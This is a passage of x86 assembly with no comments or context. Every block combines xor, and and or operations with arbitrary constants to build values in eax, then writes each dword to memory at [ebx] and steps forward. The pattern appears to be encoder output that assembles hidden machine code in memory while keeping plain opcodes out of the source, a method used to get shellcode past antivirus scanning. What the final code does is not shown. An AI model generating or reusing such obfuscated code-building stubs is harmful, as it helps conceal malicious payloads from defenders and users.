xor eax, 0x1b9d0789
xor eax, 0x3b6ae65e
and eax, 0x644421d0
or eax, 0x80011a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x355c9d97
or eax, 0x892d79a
and eax, 0x48d0a
or eax, 0x1290005
mov dword [ebx], eax
add ebx, edx
or eax, 0x727d0b9a
and eax, 0x11f79378
and eax, 0x1010000
or eax, 0x4c8a0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5719d684
xor eax, 0x5d5c2327
and eax, 0x452300
or eax, 0xe40818d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37d73ec3
and eax, 0x1000503
or eax, 0x21880c
mov dword [ebx], eax
add ebx, edx
and eax, 0x171a0aec
and eax, 0x1000000
or eax, 0x548b0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6befcc3b
and eax, 0x44393a73
and eax, 0
or eax, 0x1c283ec
mov dword [ebx], eax
add ebx, edx
xor eax, 0x303431e8
xor eax, 0x194d5cc2
and eax, 0x8a84480
or eax, 0x83441109
mov dword [ebx], eax
add ebx, edx
xor eax, 0x25811998
or eax, 0x1b59bd12
and eax, 0x8509ec01
or eax, 0x800044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e75620f
or eax, 0x25fe03d8
and eax, 0xfffe8f48
or eax, 0x17020
mov dword [ebx], eax
add ebx, edx
or eax, 0x272a5da9
and eax, 0x89e04d89
or eax, 2
mov dword [ebx], eax
add ebx, edx
and eax, 0x56292fe7
and eax, 0x200481
or eax, 0xffdf600c
mov dword [ebx], eax
add ebx, edx
and eax, 0x31d46f3c
and eax, 0x2054000c
or eax, 0xc0018bf3
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19ae5b
and eax, 0x80002080
or eax, 0x901ca03
mov dword [ebx], eax
add ebx, edx
and eax, 0x57fc7b47
or eax, 0x10e51877
and eax, 0x1816055
or eax, 0x840a8000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3adc67f0
and eax, 0xbf578720
or eax, 0x40a87848
mov dword [ebx], eax
add ebx, edx
and eax, 0x2efbaae3
and eax, 0x27a28d63
and eax, 0x26208020
or eax, 0xd944051b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e3be0f7
or eax, 0x778b82ec
and eax, 0x247ce7ff
or eax, 0x1800
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ebc09ba
and eax, 0x22fc4d8b
or eax, 0x11000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x55799b7c
and eax, 0x74dc4d
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
or eax, 0xfdb03d3
and eax, 0x73782f22
and eax, 0x3480502
or eax, 0x38845089
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a41f45e
and eax, 0x104ce055
or eax, 0x4300800
mov dword [ebx], eax
add ebx, edx
or eax, 0x52748da2
or eax, 0x33b64a3c
and eax, 0x33f8458b
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x23ff2abc
and eax, 0x87c4005
or eax, 0x4008040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f791716
xor eax, 0x4c2ab13d
and eax, 0xb08440a
or eax, 0xc00981
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5216d5af
and eax, 0xe9004
or eax, 0x84014449
mov dword [ebx], eax
add ebx, edx
and eax, 0x508fc5bd
and eax, 9
or eax, 0xc2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61a16169
and eax, 0x1804182
or eax, 0x24c1409
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bcdb54f
and eax, 0x1440401
or eax, 0x4431e054
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b3bd0b5
and eax, 0x2a400480
or eax, 0x1190410b
mov dword [ebx], eax
add ebx, edx
or eax, 0x79bdfa6
and eax, 0x139f2422
and eax, 0x190000
or eax, 0x864c045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x718234f3
xor eax, 0x743e8f6b
and eax, 0x9c04989
or eax, 0x32200402
mov dword [ebx], eax
add ebx, edx
and eax, 0xc3578f2
and eax, 0x204800
or eax, 0x355cb44d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16e6fab3
xor eax, 0x7a617789
and eax, 0x9f85103
or eax, 0x80000488
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e6fc090
and eax, 0xd7970011
or eax, 0x28686084
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b73c67b
and eax, 0xc00482ee
or eax, 0x28410911
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45cce8ce
and eax, 0xad080101
or eax, 0x52548488
mov dword [ebx], eax
add ebx, edx
or eax, 0x4180ee79
and eax, 0x4d88eff9
or eax, 0x31006
mov dword [ebx], eax
add ebx, edx
and eax, 0x32f7ad8d
and eax, 0x818188
or eax, 0x1680270
mov dword [ebx], eax
add ebx, edx
or eax, 0x6412d0f0
and eax, 0x1f84188
or eax, 0x8a000c01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e04d5c6
and eax, 0x2f9f7c74
and eax, 0x59c0004
or eax, 0xfa636091
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d651085
or eax, 0x2cbf15db
and eax, 0xc9531db
or eax, 0x50000a24
mov dword [ebx], eax
add ebx, edx
and eax, 0x52db9fec
xor eax, 0x6bde9db5
and eax, 0xb4f8659
or eax, 0x4b079a6
mov dword [ebx], eax
add ebx, edx
and eax, 0x82504b7
and eax, 0x485
or eax, 0x8208
mov dword [ebx], eax
add ebx, edx
and eax, 0x18281d18
and eax, 0
or eax, 0xdc458b00
mov dword [ebx], eax
add ebx, edx
and eax, 0x551cc39c
xor eax, 0x6c222b6b
and eax, 0x3824002b
or eax, 0x45c84510
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f1af88a
and eax, 0x10448930
or eax, 0xc009024e
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f0bd760
and eax, 0x5d044d3a
or eax, 0x20b00001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x88ab079
and eax, 0x2404c500
or eax, 0x80410209
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b4d196
and eax, 0x5afbb9ed
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77e0085c
and eax, 0x45c00049
or eax, 0x707a2
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c1c6ab2
or eax, 0x4674361d
and eax, 0xa4
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x14501b73
xor eax, 0x3c2de013
and eax, 0x28558b00
or eax, 0x90000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56703314
xor eax, 0x6ffb9c02
and eax, 0x840402
or eax, 0x74205109
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57c0eca8
and eax, 0x448920
or eax, 0xc0010200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3871b32
and eax, 0x41c00012
or eax, 0x3c384529
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b5e96c4
and eax, 0x2044c709
or eax, 0x80010000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ebe7377
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
and eax, 0x7434f739
and eax, 1
or eax, 0x45c707ea
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e9c84ca
and eax, 0xa0
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x460de837
and eax, 0x282641d4
and eax, 0x40000
or eax, 0xe4498b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x6eaf4604
and eax, 0x64a04d00
or eax, 0x11000033
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c16c6e6
and eax, 0x70148b35
or eax, 0x80410000
mov dword [ebx], eax
add ebx, edx
or eax, 0x64cb71d3
and eax, 0x74cc5103
or eax, 0x1200400
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d2a4943
xor eax, 0x1ad8341e
and eax, 0x2040010d
or eax, 0xc0058a20
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bd6cbce
and eax, 0x6630907c
and eax, 0x6000800c
or eax, 0x9c452f03
mov dword [ebx], eax
add ebx, edx
and eax, 0x67b023
and eax, 0x408001
or eax, 0xff180588
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39e0fddc
and eax, 0x44887855
or eax, 0x90387aa
mov dword [ebx], eax
add ebx, edx
and eax, 0x2dcb449c
or eax, 0x46cc99d3
and eax, 0x448d89dc
or eax, 0x10000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54e505ef
and eax, 0x688c33
or eax, 0x8b9773cc
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e73e4a3
or eax, 0x4bab69f2
and eax, 0x4a83e051
or eax, 0xa0000004
mov dword [ebx], eax
add ebx, edx
or eax, 0x13b25c22
xor eax, 0x1dd11339
and eax, 0xe0408900
or eax, 0x150001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a215959
and eax, 0x6568061d
and eax, 0x400008
or eax, 0xff188583
mov dword [ebx], eax
add ebx, edx
and eax, 0x44b6333b
or eax, 0x4e5e4006
and eax, 0x41a410f
or eax, 0x8121bef0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32c4bdd0
and eax, 0x2d96d85e
and eax, 0x25964004
or eax, 0xda69bf50
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10519366
or eax, 0x16f57675
and eax, 0x4d8b0875
or eax, 0x108
mov dword [ebx], eax
add ebx, edx
and eax, 0xe83463f
and eax, 0x37c40e81
and eax, 0x800000
or eax, 0x16983e8
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ed3fb71
and eax, 0xbe84989
or eax, 0x80000400
mov dword [ebx], eax
add ebx, edx
and eax, 0x634a1152
and eax, 0x2000000
or eax, 0xc083f055
mov dword [ebx], eax
add ebx, edx
and eax, 0x12641be8
and eax, 0
or eax, 0xf0558901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b045680
and eax, 0xb404581
or eax, 0x4ac000a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57017a90
xor eax, 0x3a24e94b
and eax, 0xc84400
or eax, 0x853401af
mov dword [ebx], eax
add ebx, edx
or eax, 0x782c79e6
and eax, 0x1ab3e6a2
and eax, 0x8206480
or eax, 0x83081040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22895513
xor eax, 0x680822b2
and eax, 0x41290041
or eax, 0xc12cc0c
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f901dc
and eax, 0x1200048
or eax, 0x8a007d80
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d086675
and eax, 0x15286055
or eax, 0x40138000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1fe53032
and eax, 0x58761ed6
and eax, 0x10
or eax, 0xc7097da8
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ca95718
and eax, 0x11400
or eax, 0x8845
mov dword [ebx], eax
add ebx, edx
or eax, 0x31287514
and eax, 0x1290000
or eax, 0x6c20000
mov dword [ebx], eax
add ebx, edx
or eax, 0x15b196db
xor eax, 0x2fcccc02
and eax, 0x1440c1
or eax, 0x880506
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b9d38c9
xor eax, 0x4f097b18
and eax, 0xb000000
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x54b04e35
and eax, 0x6d86d24
and eax, 0x4004004
or eax, 0x410b9041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x324222e3
xor eax, 0x5270982a
and eax, 0x121608c
or eax, 0x8a061510
mov dword [ebx], eax
add ebx, edx
and eax, 0x31936f07
and eax, 0x5ad4b774
and eax, 0x404
or eax, 0x4d2bd849
mov dword [ebx], eax
add ebx, edx
and eax, 0x4afc07d5
or eax, 0x3d0147f6
and eax, 0x500901f4
or eax, 0x848800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ca45876
and eax, 0x829d182
or eax, 0x83d62e7d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x273e9eb3
and eax, 0x80816044
or eax, 0x42029411
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d8e70ef
or eax, 0x5d2961d
and eax, 0xd4558001
or eax, 0x20000900
mov dword [ebx], eax
add ebx, edx
and eax, 0x54f23e10
and eax, 0x500000
or eax, 0x838c458b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7817b202
and eax, 0x4dff94cc
and eax, 0x41890088
or eax, 0x4000160
mov dword [ebx], eax
add ebx, edx
or eax, 0x42bdfa4b
xor eax, 0x16370c40
and eax, 0x50888388
or eax, 0x350054
mov dword [ebx], eax
add ebx, edx
or eax, 0x609e9f9a
and eax, 0xbf9fde
or eax, 0x406021
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b7cae57
xor eax, 0x7e9b766b
and eax, 0x5000914
or eax, 0x488b3460
mov dword [ebx], eax
add ebx, edx
or eax, 0x6adea8f8
and eax, 0x4d8f0df0
or eax, 0x200200
mov dword [ebx], eax
add ebx, edx
or eax, 0x607ba42f
xor eax, 0x2fc9fb8c
and eax, 0x40000460
or eax, 0x34c98184
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19f48670
and eax, 0x11b9f590
and eax, 0x110110
or eax, 0xec448a22
mov dword [ebx], eax
add ebx, edx
and eax, 0x3aee3fb7
and eax, 0x7ef8ef45
and eax, 0x28400100
or eax, 0xd70c9489
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fb80e07
or eax, 0x40039cbc
and eax, 0x458b9fbf
or eax, 0x6040
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d5d1258
and eax, 0x61618c40
and eax, 0x40010040
or eax, 0x8848990
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ae6ec68
or eax, 0x7dbe007f
and eax, 0xbffedff
or eax, 0x80001200
mov dword [ebx], eax
add ebx, edx
or eax, 0x52a93728
and eax, 0xc983ec4d
or eax, 0x20000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x41dab71a
and eax, 0x1e2bb659
and eax, 0x8000
or eax, 0xec4d0901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x946d74c
and eax, 0xe5081409
or eax, 0x1a448182
mov dword [ebx], eax
add ebx, edx
and eax, 0x12c5d16e
and eax, 0x1000910a
or eax, 0x853b6ef5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3cb15e1c
or eax, 0x1376dfbe
and eax, 0xbbfeff48
or eax, 0x44010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ce3cda0
and eax, 0x44830900
or eax, 0x108007d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3244820b
and eax, 0x1c88374
or eax, 0x200080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x562edc54
and eax, 0x3c44580
or eax, 0x88300009
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bcaf2d
or eax, 0x2c79f294
and eax, 0x2881c00d
or eax, 0xc1020040
mov dword [ebx], eax
add ebx, edx
or eax, 0x36825615
or eax, 0x27268c1a
and eax, 0xc0058801
or eax, 0x480100
mov dword [ebx], eax
add ebx, edx
or eax, 0x576fbcbb
xor eax, 0x744c31c
and eax, 0x10085483
or eax, 0x2bd40108
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b2a67a4
xor eax, 0x5a02d787
and eax, 0x10ca000
or eax, 0x8c034855
mov dword [ebx], eax
add ebx, edx
and eax, 0x282f562a
or eax, 0x4756d440
and eax, 0x40
or eax, 0x101
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b6cb888
or eax, 0x3556ce18
and eax, 0x9504589
or eax, 0x80800002
mov dword [ebx], eax
add ebx, edx
and eax, 0x478b04ff
and eax, 0x2939c54b
and eax, 0x1000401
or eax, 0xfeff4084
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1bddaf8b
and eax, 0xe0008b0e
or eax, 0x84d00f1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42aee1b9
and eax, 0x33f3811b
and eax, 0x22400000
or eax, 0xdd008d89
mov dword [ebx], eax
add ebx, edx
xor eax, 0x190c2df4
and eax, 0x3a3e0f2a
and eax, 0x80028
or eax, 0x5583ffd7
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d066034
or eax, 0x4170cc9b
and eax, 0x1c283e8
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59c7845e
and eax, 0x8000580
or eax, 0x83e85009
mov dword [ebx], eax
add ebx, edx
or eax, 0x18aaf32c
and eax, 0x9bea4485
or eax, 0x64150000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65701464
and eax, 0x3dcd8df3
and eax, 0x8500e1
or eax, 0x40003b1e
mov dword [ebx], eax
add ebx, edx
and eax, 0x34b3b66e
and eax, 0x81326e
or eax, 0xf7ecd91
mov dword [ebx], eax
add ebx, edx
and eax, 0x70b484fa
and eax, 0x488
or eax, 0x11005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23ccb2ec
or eax, 0x1f542d26
and eax, 0x84d8b00
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x258dbcf
xor eax, 0x746ff5d3
and eax, 0x88002800
or eax, 0x101c183
mov dword [ebx], eax
add ebx, edx
and eax, 0x48b42172
and eax, 0
or eax, 0x558bc84d
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcd9b50c
xor eax, 0x79df93be
and eax, 0x52ac8
or eax, 0xcc501100
mov dword [ebx], eax
add ebx, edx
or eax, 0x21e50472
or eax, 0x61041103
and eax, 0x45c50979
or eax, 0x20004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ba460ae
and eax, 0x190
or eax, 8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b757ac7
and eax, 0x3056b00
or eax, 0xc4028000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4cbccbc8
xor eax, 0x36346502
and eax, 0x8800
or eax, 0x1045
mov dword [ebx], eax
add ebx, edx
and eax, 0x86628af
and eax, 0
or eax, 0x458b0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x528587c0
and eax, 0x10000
or eax, 0x984433d4
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f1b0013
and eax, 0x2b1f5d5b
and eax, 0x10000
or eax, 0xe6840f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75614e08
xor eax, 0x7685a711
and eax, 0x1030000
or eax, 0x4c880000
mov dword [ebx], eax
add ebx, edx
and eax, 0x243a97ce
and eax, 0x80000
or eax, 0xb8453bd0
mov dword [ebx], eax
add ebx, edx
and eax, 0x464241a9
and eax, 0x40cd9f83
and eax, 0
or eax, 0x558b0c7c
mov dword [ebx], eax
add ebx, edx
and eax, 0xf42dc71
or eax, 0x105029cc
and eax, 0x105029ec
or eax, 0xe8051200
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a959ffd
and eax, 0x5d5d5593
and eax, 0x510501
or eax, 0x82880e
mov dword [ebx], eax
add ebx, edx
and eax, 0x19fd5d83
or eax, 0x795f69b6
and eax, 0x418b0000
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3af4d807
and eax, 0
or eax, 0xc0453bdc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c3baa81
and eax, 0x18ebd819
and eax, 0x80a1018
or eax, 0x45812d64
mov dword [ebx], eax
add ebx, edx
xor eax, 0x720b1cda
and eax, 0xc0021a0
or eax, 0xc04d0240
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f6d1fb3
and eax, 0x44090120
or eax, 0x11823455
mov dword [ebx], eax
add ebx, edx
and eax, 0x51539b1c
and eax, 0x65a5fa98
and eax, 0x10010
or eax, 0x3c9489a4
mov dword [ebx], eax
add ebx, edx
or eax, 0x530a2578
or eax, 0x698d5489
and eax, 0xb9ffdfd
or eax, 0x80600202
mov dword [ebx], eax
add ebx, edx
and eax, 0xd158893
and eax, 0x1018801
or eax, 0x84887044
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcaaab5a
and eax, 0xd194d26
and eax, 0x9014100
or eax, 0xf6febe38
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c8db565
and eax, 0x83304809
or eax, 0x840582
mov dword [ebx], eax
add ebx, edx
and eax, 0x54e8245e
and eax, 0x800008
or eax, 0x4d0901e1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x578080e3
and eax, 0x18018100
or eax, 0x24940ab4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x764021fd
and eax, 0xad5aa49
or eax, 0x312a55b6
mov dword [ebx], eax
add ebx, edx
or eax, 0x537b13f2
and eax, 0x7bff3895
or eax, 0x84000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f2af907
and eax, 0x8b0c7897
or eax, 0x468
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2961448a
and eax, 0x290845
or eax, 0x4512c000
mov dword [ebx], eax
add ebx, edx
or eax, 0x18e28db5
xor eax, 0x60c4bc30
and eax, 0xc0d01c0
or eax, 0x82800e30
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ea6b67
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x12048ba5
xor eax, 0x1aadb123
and eax, 0x829b001
or eax, 0x4512484c
mov dword [ebx], eax
add ebx, edx
and eax, 0x4aee87e0
and eax, 0x8200040
or eax, 0x83117d94
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10e9132e
and eax, 0x3ffd66d4
and eax, 0x11182050
or eax, 0x44239005
mov dword [ebx], eax
add ebx, edx
or eax, 0x7534ef1d
and eax, 0x5659a6b0
and eax, 0x92400
or eax, 0x8b2059cc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74da85ec
and eax, 0x8581c800
or eax, 0x80045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4558bd83
or eax, 0x182e08
and eax, 0xc0d97f04
or eax, 0x3f268030
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f1c88bb
and eax, 0x6219fd5
and eax, 0x800
or eax, 0x89ec458b
mov dword [ebx], eax
add ebx, edx
or eax, 0x7370b753
or eax, 0x3980392a
and eax, 0xfbfc3089
or eax, 0x4030004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a44c35
xor eax, 0x3e3a0626
and eax, 0xc0410a9e
or eax, 0x8148161
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b8a15ad
or eax, 0x25b47280
and eax, 0x8901c283
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fa0b682
or eax, 0x61d1b82a
and eax, 0x8581c801
or eax, 0xa0054
mov dword [ebx], eax
add ebx, edx
or eax, 0x38bb1547
xor eax, 0x6256201c
and eax, 0xdfedfd00
or eax, 0x20120234
mov dword [ebx], eax
add ebx, edx
or eax, 0x1251ae3f
and eax, 0xff30853b
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e0cb9e9
and eax, 0x24008129
or eax, 0x107c7ed6
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60b0c584
and eax, 0x7e5d7ec5
and eax, 0x80801
or eax, 0x23b0458a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5382f9ce
xor eax, 0x74357c03
and eax, 0x404c044
or eax, 0x49700409
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78bc663e
and eax, 0x428cfbb9
and eax, 0x800001
or eax, 0x374558a
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c1a8363
or eax, 0x6ef9f2bc
and eax, 0x489f015
or eax, 0x91000040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1694a8ee
and eax, 0x831d5828
or eax, 0x7ce2a704
mov dword [ebx], eax
add ebx, edx
or eax, 0x789784db
and eax, 0x89dc458b
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c1454a2
or eax, 0x5c0e1068
and eax, 0xddde0081
or eax, 0x22212804
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d4bfa4e
and eax, 0x900482cb
or eax, 0x60490934
mov dword [ebx], eax
add ebx, edx
and eax, 0x66852a30
or eax, 0x26d7deb5
and eax, 0x1c881
or eax, 0x89002102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x544e9b43
and eax, 0x950b7040
or eax, 0x80800d
mov dword [ebx], eax
add ebx, edx
and eax, 0x375b853a
or eax, 0x6f53a3c0
and eax, 0x7f5ba308
or eax, 0x80a45c24
mov dword [ebx], eax
add ebx, edx
or eax, 0x725c6a9f
and eax, 0xff28953b
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c26f268
and eax, 0x1771b3e6
and eax, 0x120b362
or eax, 0x205d4c9d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x787617e0
and eax, 0x1bc70a8b
and eax, 0x100000b
or eax, 0x22c84580
mov dword [ebx], eax
add ebx, edx
and eax, 0x30e07de5
xor eax, 0x3be476d
and eax, 0x740044
or eax, 0x1001ec01
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e7b47af
and eax, 0x1ec4ce2b
and eax, 0x404401
or eax, 0x238c098a
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f369486
or eax, 0x4209eff3
and eax, 0x1174c44d
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x20deb173
and eax, 0x540001
or eax, 0x3b80558a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x751337fa
and eax, 0x8456051
or eax, 0x1388804
mov dword [ebx], eax
add ebx, edx
or eax, 0xde2af0d
and eax, 0xf0e45ed
and eax, 0x1044509
or eax, 0x82f00082
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ca70605
or eax, 0x5f1e9a2
and eax, 0x58101a0
or eax, 0x40080048
mov dword [ebx], eax
add ebx, edx
and eax, 0x18241cd5
and eax, 0x4eedbfe5
and eax, 0xc0
or eax, 0xe84d8b34
mov dword [ebx], eax
add ebx, edx
or eax, 0x33febfe7
and eax, 0x43b3ecde
and eax, 0x40b00c12
or eax, 0x3c004129
mov dword [ebx], eax
add ebx, edx
or eax, 0x59af2637
and eax, 0x4c150b04
or eax, 0x80408040
mov dword [ebx], eax
add ebx, edx
or eax, 0xc010062
and eax, 0x8100102
or eax, 0x33a85401
mov dword [ebx], eax
add ebx, edx
and eax, 0x3aa6eccb
or eax, 0xb89e96d
and eax, 0x3928c845
or eax, 0x540010
mov dword [ebx], eax
add ebx, edx
or eax, 0x77d6ba30
and eax, 0x1b36de1f
and eax, 0x1b244001
or eax, 0x20c0058a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ac2e4a9
xor eax, 0x41a6306c
and eax, 0x10008044
or eax, 0x2a7d6c01
mov dword [ebx], eax
add ebx, edx
or eax, 0xaa6e5e6
and eax, 0x3ae04d83
or eax, 0x1000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x460f0676
and eax, 0x2000000
or eax, 0x307dc84d
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d9e508c
and eax, 0x9fc5089
or eax, 0x80000502
mov dword [ebx], eax
add ebx, edx
xor eax, 0x641c3168
and eax, 0xede02481
or eax, 0x121f0014
mov dword [ebx], eax
add ebx, edx
or eax, 0x6533112f
and eax, 0xd04501bf
or eax, 0x8a40
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fb00367
and eax, 0x50000101
or eax, 0xaf208488
mov dword [ebx], eax
add ebx, edx
and eax, 0x51c3ae4b
and eax, 0x41008409
or eax, 0xc8b7bf6
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6fc007fe
and eax, 0x681187a4
and eax, 0x18000
or eax, 0x1c003fc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5bd1007c
xor eax, 0x7a46fbd9
and eax, 0x544809
or eax, 0x8ba80580
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e3d4652
or eax, 0x61769993
and eax, 0x6b7e0491
or eax, 0x94812004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33a18e9e
and eax, 0x47f27fdf
and eax, 0x102a0b
or eax, 0x208511f4
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d3fd3b8
xor eax, 0x95e0468
and eax, 0x294b17d0
or eax, 0x54b4e82f
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c43a576
and eax, 0x54458b09
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x26ad14d6
and eax, 0x10000
or eax, 0x8900e883
mov dword [ebx], eax
add ebx, edx
and eax, 0x6adf0fd4
or eax, 0x6abd9c23
and eax, 0x48899401
or eax, 0x5024044
mov dword [ebx], eax
add ebx, edx
or eax, 0x36fe784f
xor eax, 0x4c373aa7
and eax, 0x104802e8
or eax, 0xcc052900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19f42d0e
xor eax, 0x378197b3
and eax, 0x70300111
or eax, 0xdc44c2a
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ea42258
and eax, 0x50040008
or eax, 0xa0518b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b6e6cef
and eax, 0x71344523
or eax, 0x4801000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b899bc1
and eax, 0x40000100
or eax, 0xa0458a10
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d2d4cb8
and eax, 0xb6d3e63
and eax, 0
or eax, 0x7df8453b
mov dword [ebx], eax
add ebx, edx
or eax, 0x38aea255
or eax, 0x56924757
and eax, 0x544c8311
or eax, 0x80010800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7929c964
and eax, 0x2d644031
or eax, 0x50980d0a
mov dword [ebx], eax
add ebx, edx
and eax, 0x89e483
and eax, 0x6904113d
and eax, 1
or eax, 0xfc558b08
mov dword [ebx], eax
add ebx, edx
or eax, 0x18414b8a
or eax, 0x36bf5ce0
and eax, 0x8801c283
or eax, 0x1000000
